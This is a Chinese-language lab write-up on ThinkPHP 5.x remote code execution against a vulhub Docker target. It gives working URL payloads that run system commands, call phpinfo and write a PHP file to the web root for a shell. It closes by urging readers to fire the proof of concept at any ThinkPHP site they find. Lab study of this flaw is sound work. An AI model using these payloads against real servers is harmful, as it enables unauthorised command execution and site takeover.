ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为
ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)
Thinkphp5x远程命令执⾏及getshell
thinkphp5最出名的就是rce
环境配置
云服务器:8.138.19.182:8080
靶场:vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
访问靶场:http://8.138.19.182:8080/
漏洞利⽤
漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通
过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分
原因,在利⽤上会出现⼀些问题。
远程命令执⾏
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
远程代码执⾏
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
getshell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
根⽬录⽣成1.php ⽂件,输出phpinfo
Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的站,直接打poc就可以了;